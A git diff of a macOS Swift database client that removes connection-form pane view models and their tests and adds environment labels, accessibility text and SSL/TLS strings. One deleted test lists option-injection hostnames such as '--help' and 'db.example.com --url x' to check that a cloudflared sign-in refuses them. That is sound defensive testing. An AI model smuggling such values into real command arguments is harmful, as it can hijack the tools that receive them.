fields are its -/// own, and only one of them can be wrong: a connection that names a server and no file has nothing -/// to open. -@MainActor -final class RemoteFilePaneViewModel: ObservableObject { - @Published var coordinator: WeakCoordinatorRef? - - /// Nothing to say unless this pane is the one on screen. - /// - /// `ConnectionFormCoordinator.isFormValid` reads every pane's issues, visible or not, so a view - /// model that answers for a type it does not belong to disables Save and Test on that type's - /// form. This pane shares `SSHTunnelFormState` with the SSH Tunnel pane, so without the - /// capability check every MySQL or PostgreSQL connection with a tunnel would be told it needs a - /// remote database file path. - var validationIssues: [String] { - guard let coordinator = coordinator?.value, - coordinator.services.pluginManager.supportsRemoteDatabaseFile(for: coordinator.network.type) - else { return [] } - - let ssh = coordinator.ssh.state - guard ssh.enabled else { return [] } - - var issues: [String] = [] - // The SSH pane reports an empty inline host, so an inline config is its to validate and this - // pane stays quiet to avoid the duplicate. But the SSH pane returns nothing once a profile is - // selected, and a profile this Mac cannot resolve leaves an empty host, so cover that here. - if ssh.profileId != nil, resolvedHost(for: coordinator).isEmpty { - issues.append(String(localized: "SSH host is required")) - } - if ssh.remoteFilePath.trimmingCharacters(in: .whitespaces).isEmpty { - issues.append(String(localized: "Remote database file path is required")) - } - return issues - } - - /// A profile supplies the host, so the inline field being empty says nothing on its own. - private func resolvedHost(for coordinator: ConnectionFormCoordinator) -> String { - coordinator.ssh.state.buildSSHConfig().host.trimmingCharacters(in: .whitespaces) - } -} diff --git a/apple/TablePro/Views/ConnectionForm/ViewModels/SOCKSProxyPaneViewModel.swift b/apple/TablePro/Views/ConnectionForm/ViewModels/SOCKSProxyPaneViewModel.swift deleted file mode 100644 index 410e0c2e52..0000000000 --- a/apple/TablePro/Views/ConnectionForm/ViewModels/SOCKSProxyPaneViewModel.swift +++ /dev/null @@ -1,43 +0,0 @@ -// -// SOCKSProxyPaneViewModel.swift -// TablePro -// - -import Combine -import Foundation - -@MainActor -final class SOCKSProxyPaneViewModel: ObservableObject { - @Published var state = SOCKSProxyFormState() - - @Published var coordinator: WeakCoordinatorRef? - - var validationIssues: [String] { - guard state.enabled else { return [] } - var issues: [String] = [] - - if state.host.trimmingCharacters(in: .whitespaces).isEmpty { - issues.append(String(localized: "SOCKS proxy host is required")) - } - - let portIsValid = Int(state.port).map { (1...65_535).contains($0) } ?? false - if !portIsValid { - issues.append(String(localized: "SOCKS proxy port must be between 1 and 65535")) - } - - return issues - } - - func load(from connection: DatabaseConnection, storage: ConnectionStorage) { - state.load(from: connection) - state.password = storage.loadSOCKSProxyPassword(for: connection.id) ?? "" - } - - func save(to connectionId: UUID, storage: ConnectionStorage) { - guard state.enabled, !state.password.isEmpty else { - storage.deleteSOCKSProxyPassword(for: connectionId) - return - } - storage.saveSOCKSProxyPassword(state.password, for: connectionId) - } -} diff --git a/apple/TablePro/Views/ConnectionForm/ViewModels/SSHPaneViewModel.swift b/apple/TablePro/Views/ConnectionForm/ViewModels/SSHPaneViewModel.swift deleted file mode 100644 index aa4a168686..0000000000 --- a/apple/TablePro/Views/ConnectionForm/ViewModels/SSHPaneViewModel.swift +++ /dev/null @@ -1,49 +0,0 @@ -// -// SSHPaneViewModel.swift -// TablePro -// - -import Combine -import Foundation -import TableProSSHConfig - -@MainActor -final class SSHPaneViewModel: ObservableObject { - @Published var state = SSHTunnelFormState() - - @Published var coordinator: WeakCoordinatorRef? - - var validationIssues: [String] { - guard state.enabled else { return [] } - guard state.profileId == nil else { return [] } - var issues: [String] = [] - if state.host.trimmingCharacters(in: .whitespaces).isEmpty { - issues.append(String(localized: "SSH host is required")) - } - if !state.port.isEmpty, - Int(state.port).map({ !(1...65_535).contains($0) }) ?? true { - issues.append(String(localized: "SSH port must be between 1 and 65535")) - } - if !state.jumpHosts.allSatisfy(\.isValid) { - issues.append(String(localized: "Jump host configuration is invalid")) - } - return issues - } - - func loadSSHConfig() { - Task { - let entries = await Task.detached { SSHConfigParser.parse() }.value - state.configEntries = entries - } - } - - func load(from connection: DatabaseConnection, storage: ConnectionStorage) { - state.profiles = SSHProfileStorage.shared.loadProfiles() - state.load(from: connection) - state.loadSecrets(connectionId: connection.id, storage: storage) - } - - func loadProfiles() { - state.profiles = SSHProfileStorage.shared.loadProfiles() - } -} diff --git a/apple/TablePro/Views/ConnectionForm/ViewModels/SSLPaneViewModel.swift b/apple/TablePro/Views/ConnectionForm/ViewModels/SSLPaneViewModel.swift deleted file mode 100644 index c43a433f24..0000000000 --- a/apple/TablePro/Views/ConnectionForm/ViewModels/SSLPaneViewModel.swift +++ /dev/null @@ -1,87 +0,0 @@ -// -// SSLPaneViewModel.swift -// TablePro -// - -import Combine -import Foundation -import TableProPluginKit - -@MainActor -final class SSLPaneViewModel: ObservableObject { - @Published private(set) var mode: SSLMode = .disabled - private(set) var origin: SSLModeOrigin = .typeDefault - @Published var caCertPath: String = "" - @Published var clientCertPath: String = "" - @Published var clientKeyPath: String = "" - @Published var clientKeyPassphrase: String = "" - - @Published var coordinator: WeakCoordinatorRef? - - /// Silent on a driver that renders no SSL section, so a stored mode the form cannot show - /// cannot disable Save over a certificate field the user has no way to reach. - var validationIssues: [String] { - guard coordinator?.value?.showsSSL ?? true else { return [] } - let type = coordinator?.value?.network.type - guard type?.supportsPerConnectionCertificatePaths ?? true else { return [] } - var issues: [String] = [] - let requiresCA = type?.requiresCACertificate(for: mode) ?? (mode == .verifyCa || mode == .verifyIdentity) - if requiresCA, caCertPath.trimmingCharacters(in: .whitespaces).isEmpty { - issues.append(String(localized: "CA certificate is required for verification modes")) - } - let hasClientCert = !clientCertPath.trimmingCharacters(in: .whitespaces).isEmpty - let hasClientKey = !clientKeyPath.trimmingCharacters(in: .whitespaces).isEmpty - if hasClientCert && !hasClientKey { - issues.append(String(localized: "Client key is required when client certificate is set")) - } - return issues - } - - func select(_ newMode: SSLMode) { - mode = newMode - origin = .chosen - } - - func applyImported(_ resolution: SSLModeResolution) { - apply(resolution) - } - - func reconcile(port: Int, type: DatabaseType) { - guard origin != .chosen else { return } - apply(type.sslModeResolution(forPort: port)) - } - - private func apply(_ resolution: SSLModeResolution) { - guard resolution != SSLModeResolution(mode: mode, origin: origin) else { return } - mode = resolution.mode - origin = resolution.origin - } - - func load(from connection: DatabaseConnection) { - mode = connection.sslConfig.mode - origin = mode == connection.type.defaultSSLMode ? .typeDefault : .chosen - caCertPath = connection.sslConfig.caCertificatePath - clientCertPath = connection.sslConfig.clientCertificatePath - clientKeyPath = connection.sslConfig.clientKeyPath - let storage = coordinator?.value?.storage ?? .shared - clientKeyPassphrase = storage.loadSSLClientKeyPassphrase(for: connection.id) ?? "" - } - - func resetForType(_ type: DatabaseType) { - mode = type.defaultSSLMode - origin = .typeDefault - caCertPath = "" - clientCertPath = "" - clientKeyPath = "" - clientKeyPassphrase = "" - } - - func buildConfig() -> SSLConfiguration { - SSLConfiguration( - mode: mode, - caCertificatePath: caCertPath, - clientCertificatePath: clientCertPath, - clientKeyPath: clientKeyPath - ) - } -} diff --git a/apple/TablePro/Views/ConnectionForm/ViewModels/TunnelCommandPaneViewModel.swift b/apple/TablePro/Views/ConnectionForm/ViewModels/TunnelCommandPaneViewModel.swift deleted file mode 100644 index 04aba72831..0000000000 --- a/apple/TablePro/Views/ConnectionForm/ViewModels/TunnelCommandPaneViewModel.swift +++ /dev/null @@ -1,23 +0,0 @@ -// -// TunnelCommandPaneViewModel.swift -// TablePro -// - -import Combine -import Foundation - -@MainActor -final class TunnelCommandPaneViewModel: ObservableObject { - @Published var state = TunnelCommandFormState() - - @Published var coordinator: WeakCoordinatorRef? - - var validationIssues: [String] { - guard state.enabled else { return [] } - return TunnelCommandBuilder.validationIssues(for: state.buildConfig()) - } - - func load(from connection: DatabaseConnection) { - state.load(from: connection) - } -} diff --git a/apple/TablePro/Views/Shared/FieldEditors/TextValueEditor.swift b/apple/TablePro/Views/Shared/FieldEditors/TextValueEditor.swift index 5a3997dd4c..51d81661f0 100644 --- a/apple/TablePro/Views/Shared/FieldEditors/TextValueEditor.swift +++ b/apple/TablePro/Views/Shared/FieldEditors/TextValueEditor.swift @@ -22,6 +22,8 @@ internal struct TextValueEditor: NSViewRepresentable { var textContainerInset = NSSize(width: 4, height: 6) var style: Style = .plain var marksInvisibleCharacters = false + // nil leaves the scroll and text views as AppKit made them; the other callers rely on that. + var drawsBackground: Bool? // A new one is another document: the view shows it from the top, with no undo left from the one before. var documentID: AnyHashable? @@ -104,6 +106,14 @@ internal struct TextValueEditor: NSViewRepresentable { if scrollView.borderType != borderType { scrollView.borderType = borderType } + if let drawsBackground { + if scrollView.drawsBackground != drawsBackground { + scrollView.drawsBackground = drawsBackground + } + if textView.drawsBackground != drawsBackground { + textView.drawsBackground = drawsBackground + } + } if textView.font != font { textView.font = font } diff --git a/apple/TablePro/Views/Toolbar/ConnectionSwitcherPopover.swift b/apple/TablePro/Views/Toolbar/ConnectionSwitcherPopover.swift index 90b170d02f..d4107417ac 100644 --- a/apple/TablePro/Views/Toolbar/ConnectionSwitcherPopover.swift +++ b/apple/TablePro/Views/Toolbar/ConnectionSwitcherPopover.swift @@ -358,9 +358,12 @@ struct ConnectionSwitcherPopover: View { ) VStack(alignment: .leading, spacing: 1) { - Text(connection.name) - .font(.body.weight(entry.isActive ? .semibold : .regular)) - .lineLimit(1) + HStack(spacing: 6) { + Text(connection.name) + .font(.body.weight(entry.isActive ? .semibold : .regular)) + .lineLimit(1) + ConnectionEnvironmentLabel(environment: ConnectionEnvironment.stored(in: connection.additionalFields)) + } HStack(spacing: 6) { Text(connection.connectionSubtitle) diff --git a/apple/TablePro/Views/Welcome/WelcomeOutlineRows.swift b/apple/TablePro/Views/Welcome/WelcomeOutlineRows.swift index 8ee53fc4c7..849863ba6b 100644 --- a/apple/TablePro/Views/Welcome/WelcomeOutlineRows.swift +++ b/apple/TablePro/Views/Welcome/WelcomeOutlineRows.swift @@ -59,7 +59,7 @@ internal struct ConnectionTile: View { if let identityColor { image.foregroundStyle(Color.legibleForeground(on: identityColor.color)) } else { - image.selectionAwareTint(type.themeColor) + image.selectionAwareTint(Color(nsColor: ConnectionTileMetrics.glyphColor(brand: NSColor(type.themeColor)))) } } @@ -118,20 +118,24 @@ internal struct WelcomeConnectionRow: View { WelcomeConnectionAccessories(model: model) } - HStack(spacing: 8) { - Text(model.detail) - .font(.subheadline) - .foregroundStyle(.secondary) - .lineLimit(1) - .truncationMode(.middle) - Spacer(minLength: 6) - WelcomeConnectionLabels(model: model) + if model.hasSecondLine { + HStack(spacing: 8) { + Text(model.detail) + .font(.subheadline) + .foregroundStyle(.secondary) + .lineLimit(1) + .truncationMode(.middle) + Spacer(minLength: 6) + WelcomeConnectionLabels(model: model) + } } } } .padding(.trailing, 8) .help(model.tooltip) - .accessibilityElement(children: .combine) + .accessibilityElement(children: .ignore) + .accessibilityLabel(Text(model.accessibilityLabel)) + .accessibilityValue(Text(model.accessibilityValue)) } } @@ -140,6 +144,8 @@ private struct WelcomeConnectionAccessories: View { var body: some View { HStack(spacing: 6) { + ConnectionEnvironmentLabel(environment: model.environment) + if model.isDriverRejected { Image(systemName: "exclamationmark.triangle.fill") .imageScale(.small) @@ -182,6 +188,28 @@ private struct WelcomeConnectionLabels: View { } } +internal struct ConnectionEnvironmentLabel: View { + let environment: ConnectionEnvironment + + var body: some View { + if let symbolName = environment.symbolName, let spokenName = environment.accessibilityName { + HStack(spacing: 3) { + Image(systemName: symbolName) + .imageScale(.small) + .selectionAwareTint(environment.tint) + .accessibilityHidden(true) + Text(environment.displayName) + .font(.caption) + .foregroundStyle(.secondary) + .lineLimit(1) + } + .fixedSize() + .accessibilityElement(children: .ignore) + .accessibilityLabel(Text(spokenName)) + } + } +} + internal struct ConnectionSymbolLabel: View { let label: WelcomeTagLabel diff --git a/apple/TablePro/Views/Welcome/WelcomeRowPresentation.swift b/apple/TablePro/Views/Welcome/WelcomeRowPresentation.swift index a411e2e534..627ba0feb5 100644 --- a/apple/TablePro/Views/Welcome/WelcomeRowPresentation.swift +++ b/apple/TablePro/Views/Welcome/WelcomeRowPresentation.swift @@ -23,8 +23,7 @@ internal struct WelcomeGroupRowModel: Equatable { internal let connectionCount: Int } -/// Shared by tags and groups, so each label carries its own symbol: a group draws the icon it was -/// given, a tag always draws the tag. +// Shared by tags and groups: a group draws the icon it was given, a tag always draws the tag. internal struct WelcomeTagLabel: Hashable { internal let name: String internal let color: ConnectionColor @@ -38,6 +37,7 @@ internal struct WelcomeConnectionRowModel: Equatable { internal let type: DatabaseType internal let iconName: String? internal let identityColor: ConnectionColor? + internal let environment: ConnectionEnvironment internal let tags: [WelcomeTagLabel] internal let hiddenTagCount: Int internal let groupLabel: WelcomeTagLabel? @@ -46,6 +46,30 @@ internal struct WelcomeConnectionRowModel: Equatable { internal let tooltip: String // Part of the model so a reload hands a reused row a changed value; status has no observable home. internal let status: ConnectionDisplayStatus + + internal var hasSecondLine: Bool { + !detail.isEmpty || groupLabel != nil || !tags.isEmpty || hiddenTagCount > 0 + } + + // The tile is hidden from VoiceOver, so the label names the engine a custom icon may replace. + internal var accessibilityLabel: String { + [name, type.displayName, environment.accessibilityName] + .compactMap { $0 } + .joined(separator: ", ") + } + + internal var accessibilityValue: String { + let presentation = ConnectionStatusPresentation(status) + var parts: [String] = [] + if isDriverRejected { parts.append(String(localized: "Plugin not loaded")) } + if isLocalOnly { parts.append(String(localized: "Local only")) } + if presentation.symbol != nil { parts.append(presentation.accessibilityStatus) } + parts.append(detail) + if let groupLabel { parts.append(groupLabel.name) } + parts.append(contentsOf: tags.map(\.name)) + if hiddenTagCount > 0 { parts.append(String(format: String(localized: "+%lld"), Int64(hiddenTagCount))) } + return parts.filter { !$0.isEmpty }.joined(separator: ", ") + } } internal enum WelcomeSortOption: CaseIterable { @@ -107,9 +131,7 @@ internal enum WelcomeRowPresentation { internal static let renameGlyphSide: CGFloat = 16 - /// An image rather than a symbol name, because most engine logos are assets. An asset comes at - /// its SVG artboard size (2500pt for one), and the rename field's image view is constrained in - /// width only, so it would take that as its height. + // An asset logo comes at its artboard size, which the width-only rename image view takes as its height. internal static func renameGlyph(for connection: DatabaseConnection) -> NSImage? { guard let image = LibraryGlyph.connectionNSImage( type: connection.type, @@ -139,10 +161,11 @@ internal enum WelcomeRowPresentation { return WelcomeConnectionRowModel( id: connection.id, name: connection.name, - detail: connection.connectionSubtitle, + detail: Self.detail(connection.connectionSubtitle, under: connection.name), type: connection.type, iconName: connection.iconName, identityColor: connection.identityColor, + environment: ConnectionEnvironment.stored(in: connection.additionalFields), tags: Array(labels.prefix(visibleTagLimit)), hiddenTagCount: max(0, labels.count - visibleTagLimit), groupLabel: section == .connections ? nil : group.map { groupLabel($0) }, @@ -166,10 +189,11 @@ internal enum WelcomeRowPresentation { return WelcomeConnectionRowModel( id: linked.id, name: exportable.name, - detail: detail, + detail: Self.detail(detail, under: exportable.name), type: type, iconName: LibrarySymbolCatalog.normalizedName(exportable.iconName), identityColor: exportable.color.flatMap { ConnectionColor(rawValue: $0) }.flatMap { $0.isDefault ? nil : $0 }, + environment: ConnectionEnvironment.stored(in: exportable.additionalFields), tags: [], hiddenTagCount: 0, groupLabel: nil, @@ -180,6 +204,12 @@ internal enum WelcomeRowPresentation { ) } + // A connection saved with no name is named after its address, which would then repeat under it. + internal static func detail(_ detail: String, under name: String) -> String { + let trimmed = detail.trimmingCharacters(in: .whitespaces) + return trimmed == name.trimmingCharacters(in: .whitespaces) ? "" : detail + } + internal static func endpoint(host: String, port: Int, defaultPort: Int, database: String) -> String { guard !host.isEmpty else { return database } var endpoint = host diff --git a/apple/TableProMobile/TableProMobile/Localizable.xcstrings b/apple/TableProMobile/TableProMobile/Localizable.xcstrings index ac28781485..53eaa28600 100644 --- a/apple/TableProMobile/TableProMobile/Localizable.xcstrings +++ b/apple/TableProMobile/TableProMobile/Localizable.xcstrings @@ -1638,6 +1638,9 @@ "A check constraint of %@ is not one SQL expression, so it cannot be written." : { "extractionState" : "manual", "generatesSymbol" : false + }, + "A client certificate needs its client key. In the connection's SSL/TLS settings, choose the client key, or clear the client certificate." : { + }, "A client certificate needs its client key. On the connection's Network tab, choose the client key, or clear the client certificate." : { @@ -5173,6 +5176,10 @@ } } }, + "Choose the client certificate and key in the connection's SSL/TLS settings." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, "Choose the client certificate and key on the connection's Network tab." : { "extractionState" : "manual", "generatesSymbol" : false, @@ -6880,6 +6887,10 @@ } } }, + "Correct the Key Passphrase in the connection's SSL/TLS settings." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, "Correct the Key Passphrase on the connection's Network tab." : { "extractionState" : "manual", "generatesSymbol" : false, @@ -9453,6 +9464,10 @@ } } }, + "Enter the Key Passphrase in the connection's SSL/TLS settings." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, "Enter the Key Passphrase on the connection's Network tab." : { "extractionState" : "manual", "generatesSymbol" : false, @@ -12604,6 +12619,22 @@ } } }, + "In the connection's SSL/TLS settings, check that the Key under Client Certificates is a valid PEM private key." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, + "In the connection's SSL/TLS settings, choose the server's CA certificate under Verify Identity or Verify CA. Required (skip verify) also connects, but does not check the certificate." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, + "In the connection's SSL/TLS settings, set SSL Mode to Disabled." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, + "In the connection's SSL/TLS settings, set SSL Mode to Verify Identity, or to Required to skip the certificate check." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, "In-Memory Database" : { "localizations" : { "ko" : { @@ -30641,6 +30672,9 @@ "Verify CA needs a CA certificate. Choose the CA certificate that signed the server's certificate." : { "extractionState" : "manual", "generatesSymbol" : false + }, + "Verify CA needs a CA certificate. In the connection's SSL/TLS settings, choose the CA certificate that signed the server's certificate, or set SSL Mode to Verify Identity." : { + }, "Verify CA needs a CA certificate. On the connection's Network tab, choose the CA certificate that signed the server's certificate, or set SSL Mode to Verify Identity." : { diff --git a/apple/TableProTests/CloudSQL/CloudSQLProxyPaneViewModelTests.swift b/apple/TableProTests/CloudSQL/CloudSQLProxyPaneViewModelTests.swift deleted file mode 100644 index c4e25e3167..0000000000 --- a/apple/TableProTests/CloudSQL/CloudSQLProxyPaneViewModelTests.swift +++ /dev/null @@ -1,124 +0,0 @@ -// -// CloudSQLProxyPaneViewModelTests.swift -// TableProTests -// - -import Foundation -import Testing - -@testable import TablePro -import TableProTestSupport - -@MainActor -struct CloudSQLProxyPaneViewModelTests { - @Test("disabled reports no issues") - func disabledNoIssues() { - let viewModel = CloudSQLProxyPaneViewModel() - viewModel.state.enabled = false - #expect(viewModel.validationIssues.isEmpty) - } - - @Test("enabled requires a well-formed instance connection name") - func requiresInstanceName() { - let viewModel = CloudSQLProxyPaneViewModel() - viewModel.state.enabled = true - viewModel.state.instanceConnectionName = "bad" - #expect(!viewModel.validationIssues.isEmpty) - - viewModel.state.instanceConnectionName = "p:r:i" - #expect(viewModel.validationIssues.isEmpty) - } - - @Test("manual port must be in range") - func manualPortRange() { - let viewModel = CloudSQLProxyPaneViewModel() - viewModel.state.enabled = true - viewModel.state.instanceConnectionName = "p:r:i" - viewModel.state.automaticPort = false - - viewModel.state.localPort = "70000" - #expect(!viewModel.validationIssues.isEmpty) - - viewModel.state.localPort = "5432" - #expect(viewModel.validationIssues.isEmpty) - } - - @Test("service account key mode requires a key") - func serviceAccountKeyRequired() { - let viewModel = CloudSQLProxyPaneViewModel() - viewModel.state.enabled = true - viewModel.state.instanceConnectionName = "p:r:i" - viewModel.state.authMode = .serviceAccountKey - - viewModel.state.serviceAccountKeyJSON = "" - #expect(!viewModel.validationIssues.isEmpty) - - viewModel.state.serviceAccountKeyJSON = "{\"type\":\"service_account\"}" - #expect(viewModel.validationIssues.isEmpty) - } - - @Test("The pane shows the shared download, and its Cancel stops it") - func paneFollowsSharedDownload() async throws { - let dir = try TestProxyDownload.temporaryDirectory() - defer { try? FileManager.default.removeItem(at: dir) } - let record = DownloadRecord() - let download = CloudSQLProxyDownload(binaryManager: CloudSQLProxyBinaryManager( - baseDirectory: dir, - expectedSHA256: TestProxyDownload.pins(Data("pinned build".utf8)), - download: { _, progress in - record.started() - await progress(0.5) - await suspendUntilCancelled() - record.sawCancel() - throw URLError(.cancelled) - } - )) - let viewModel = CloudSQLProxyPaneViewModel(download: download) - - viewModel.downloadBinary() - try await waitUntil { viewModel.downloadPhase == .downloading(fraction: 0.5) } - #expect(viewModel.isDownloading) - - viewModel.cancelDownload() - #expect(viewModel.downloadPhase == .idle) - try await waitUntil { record.wasCancelled } - } - - @Test( - "Only a managed binary that passes its checksum shows as detected", - .enabled(if: CLIExecutableFinder.findExecutable("cloud-sql-proxy") == nil, "a system cloud-sql-proxy wins over the managed one") - ) - func detectedNeedsACurrentManagedBinary() async throws { - let dir = try TestProxyDownload.temporaryDirectory() - defer { try? FileManager.default.removeItem(at: dir) } - let bytes = Data("pinned build".utf8) - let binary = dir.appendingPathComponent("cloud-sql-proxy") - try Data("altered".utf8).write(to: binary) - try FileManager.default.setAttributes([.posixPermissions: 0o755], ofItemAtPath: binary.path) - try CloudSQLProxyBinaryManager.pinnedVersion - .write(to: dir.appendingPathComponent("version.txt"), atomically: true, encoding: .utf8) - let viewModel = CloudSQLProxyPaneViewModel(download: CloudSQLProxyDownload(binaryManager: CloudSQLProxyBinaryManager( - baseDirectory: dir, - expectedSHA256: TestProxyDownload.pins(bytes), - download: TestProxyDownload.serving(bytes, into: dir) - ))) - - viewModel.resolveBinary() - try await waitUntil { viewModel.didResolveBinary } - #expect(viewModel.resolvedBinaryPath == nil) - - try bytes.write(to: binary) - viewModel.didResolveBinary = false - viewModel.resolveBinary() - try await waitUntil { viewModel.didResolveBinary } - #expect(viewModel.resolvedBinaryPath == binary.path) - } - - @Test("The not-found caption is plain text that names the install command") - func binaryNotFoundMessageIsPlainText() { - let message = CloudSQLProxyPaneViewModel().binaryNotFoundMessage - - #expect(!message.contains("`")) - #expect(message.contains("brew install cloud-sql-proxy")) - } -} diff --git a/apple/TableProTests/Cloudflare/CloudflareTunnelPaneViewModelTests.swift b/apple/TableProTests/Cloudflare/CloudflareTunnelPaneViewModelTests.swift deleted file mode 100644 index f597fb43b9..0000000000 --- a/apple/TableProTests/Cloudflare/CloudflareTunnelPaneViewModelTests.swift +++ /dev/null @@ -1,87 +0,0 @@ -// -// CloudflareTunnelPaneViewModelTests.swift -// TableProTests -// - -import Foundation -import Testing - -@testable import TablePro - -@MainActor -struct CloudflareTunnelPaneViewModelTests { - @Test("disabled tunnel reports no validation issues") - func disabledNoIssues() { - let viewModel = CloudflareTunnelPaneViewModel() - viewModel.state.enabled = false - #expect(viewModel.validationIssues.isEmpty) - } - - @Test("enabled tunnel requires a hostname") - func requiresHostname() { - let viewModel = CloudflareTunnelPaneViewModel() - viewModel.state.enabled = true - viewModel.state.accessHostname = " " - #expect(viewModel.validationIssues.contains { $0.localizedCaseInsensitiveContains("hostname") }) - } - - @Test("manual port must be within range") - func portRange() { - let viewModel = CloudflareTunnelPaneViewModel() - viewModel.state.enabled = true - viewModel.state.accessHostname = "db.example.com" - viewModel.state.automaticPort = false - viewModel.state.localPort = "70000" - #expect(viewModel.validationIssues.contains { $0.localizedCaseInsensitiveContains("port") }) - } - - @Test("service token mode requires id and secret") - func serviceTokenRequired() { - let viewModel = CloudflareTunnelPaneViewModel() - viewModel.state.enabled = true - viewModel.state.accessHostname = "db.example.com" - viewModel.state.authMethod = .serviceToken - #expect(!viewModel.validationIssues.isEmpty) - } - - @Test("valid browser sign-in config has no issues") - func validBrowserConfig() { - let viewModel = CloudflareTunnelPaneViewModel() - viewModel.state.enabled = true - viewModel.state.accessHostname = "db.example.com" - viewModel.state.authMethod = .browserSSO - #expect(viewModel.validationIssues.isEmpty) - } - - @Test("Browser sign-in refuses a hostname cloudflared would read as an option or split", arguments: [ - "-h", "--help", "db.example.com --url x", "db\texample.com", "db.example.com\u{202E}", - ]) - func signInRefusesFlagLikeHostname(hostname: String) { - let viewModel = CloudflareTunnelPaneViewModel() - viewModel.state.binaryPath = "/usr/bin/true" - viewModel.state.accessHostname = hostname - - viewModel.signInWithBrowser() - - #expect(viewModel.signInError != nil) - } - - @Test("Browser sign-in starts for a plain hostname") - func signInStartsForPlainHostname() { - let viewModel = CloudflareTunnelPaneViewModel() - viewModel.state.binaryPath = "/usr/bin/true" - viewModel.state.accessHostname = "db.example.com" - - viewModel.signInWithBrowser() - - #expect(viewModel.signInError == nil) - } - - @Test("The not-found caption is plain text that names the install command") - func binaryNotFoundMessageIsPlainText() { - let message = CloudflareTunnelPaneViewModel().binaryNotFoundMessage - - #expect(!message.contains("`")) - #expect(message.contains("brew install cloudflared")) - } -} diff --git a/apple/TableProTests/Core/Database/ConnectionWarningTests.swift b/apple/TableProTests/Core/Database/ConnectionWarningTests.swift index 35cfa1654a..dc2159baff 100644 --- a/apple/TableProTests/Core/Database/ConnectionWarningTests.swift +++ b/apple/TableProTests/Core/Database/ConnectionWarningTests.swift @@ -98,6 +98,19 @@ struct ConnectionWarningTests { #expect(result == ConnectionTestResult(succeeded: true, warning: Self.warning)) } + // A driver forgets its server's version when Test Connection disconnects it, before the result is read. + @Test("Test Connection reports the server version the login saw") + func testConnectionReturnsTheServerVersion() async throws { + FakeMSSQLPluginRegistration.registerIfNeeded() + let connection = TestFixtures.makeConnection(name: "Versioned test", type: .mssql) + FakeMSSQLPlugin.reportServerVersion(for: connection.id, version: "16.0.1000") + defer { FakeMSSQLPlugin.clearServerVersion(for: connection.id) } + + let result = try await DatabaseManager.shared.testConnection(connection) + + #expect(result == ConnectionTestResult(succeeded: true, serverVersion: "16.0.1000")) + } + @Test("A dismissed warning is a change windows hear about") func warningIsPartOfTheSessionContent() { let connection = TestFixtures.makeConnection() diff --git a/apple/TableProTests/Core/Services/Execution/ManualCommitTests.swift b/apple/TableProTests/Core/Services/Execution/ManualCommitTests.swift index c891b8e502..d7233e1e9b 100644 --- a/apple/TableProTests/Core/Services/Execution/ManualCommitTests.swift +++ b/apple/TableProTests/Core/Services/Execution/ManualCommitTests.swift @@ -260,19 +260,20 @@ struct ConnectionCommitModeStorageTests { @MainActor @Test("The form's Manual Commit toggle is off and refuses a change where the engine can't hold") func formToggleIsDisabledWhereUnavailable() { - let coordinator = ConnectionFormCoordinator(connectionId: nil) - coordinator.network.type = .mysql - coordinator.customization.commitMode = .manual - #expect(!coordinator.isManualCommitAvailable) - #expect(!coordinator.effectiveManualCommit) - coordinator.effectiveManualCommit = false - #expect(coordinator.customization.commitMode == .manual) - - coordinator.network.type = .postgresql - #expect(coordinator.isManualCommitAvailable) - #expect(coordinator.effectiveManualCommit) - coordinator.effectiveManualCommit = false - #expect(coordinator.customization.commitMode == .automatic) + let mysql = ConnectionTypeTraits.live(for: .mysql, pluginManager: .shared) + let postgres = ConnectionTypeTraits.live(for: .postgresql, pluginManager: .shared) + var draft = ConnectionDraft.new(type: .mysql, traits: mysql) + draft.safety.commitMode = .manual + #expect(!mysql.manualCommitAvailable) + #expect(!ConnectionEditorEngine.effectiveManualCommit(draft, mysql)) + draft.setManualCommit(false, traits: mysql) + #expect(draft.safety.commitMode == .manual) + + draft.retype(to: postgres, from: mysql) + #expect(postgres.manualCommitAvailable) + #expect(ConnectionEditorEngine.effectiveManualCommit(draft, postgres)) + draft.setManualCommit(false, traits: postgres) + #expect(draft.safety.commitMode == .automatic) } @Test("The form writes Manual Commit into the saved fields, and turning it off removes the key") diff --git a/apple/TableProTests/Core/Services/Infrastructure/WindowOpenerTests.swift b/apple/TableProTests/Core/Services/Infrastructure/WindowOpenerTests.swift index e8398a116e..33b732903d 100644 --- a/apple/TableProTests/Core/Services/Infrastructure/WindowOpenerTests.swift +++ b/apple/TableProTests/Core/Services/Infrastructure/WindowOpenerTests.swift @@ -12,7 +12,7 @@ final class WindowOpenerTests: XCTestCase { openedRequests = [] openedSettings = [] WindowOpener.shared.setWelcomePresenter {} - WindowOpener.shared.setConnectionFormPresenter { [weak self] request in + WindowOpener.shared.setConnectionFormPresenter { [weak self] request, _ in self?.openedRequests.append(request) } WindowOpener.shared.setIntegrationsActivityPresenter {} @@ -133,7 +133,7 @@ final class WindowOpenerTests: XCTestCase { opener.openConnectionForm(editing: connectionId) XCTAssertTrue(opened.isEmpty, "No presenter yet, so the call has to wait") - opener.setConnectionFormPresenter { opened.append($0) } + opener.setConnectionFormPresenter { request, _ in opened.append(request) } XCTAssertEqual(opened, [.edit(connectionId: connectionId)]) } @@ -148,7 +148,7 @@ final class WindowOpenerTests: XCTestCase { opener.setWelcomePresenter {} XCTAssertTrue(opened.isEmpty, "The connection form still has no presenter") - opener.setConnectionFormPresenter { opened.append($0) } + opener.setConnectionFormPresenter { request, _ in opened.append(request) } XCTAssertEqual(opened, [.edit(connectionId: connectionId)]) } diff --git a/apple/TableProTests/Core/Services/WorkspaceRailStoreTests.swift b/apple/TableProTests/Core/Services/WorkspaceRailStoreTests.swift index 1c3992834b..59e8c97211 100644 --- a/apple/TableProTests/Core/Services/WorkspaceRailStoreTests.swift +++ b/apple/TableProTests/Core/Services/WorkspaceRailStoreTests.swift @@ -784,7 +784,9 @@ struct WorkspaceRailCellTextTests { #expect(coloured.fillsWithIdentity) #expect(!plain.fillsWithIdentity) - #expect(plain.glyphTint == NSColor(makeEntry().connection.brandColor)) + let brand = NSColor(makeEntry().connection.brandColor) + #expect(resolved(plain.glyphTint, in: .aqua) == resolved(brand, in: .aqua)) + #expect(resolved(plain.glyphTint, in: .darkAqua) == resolved(ConnectionTileMetrics.glyphColor(brand: brand), in: .darkAqua)) } @Test("A failed connection's tile keeps the engine glyph, the mark carries the state") @@ -792,7 +794,8 @@ struct 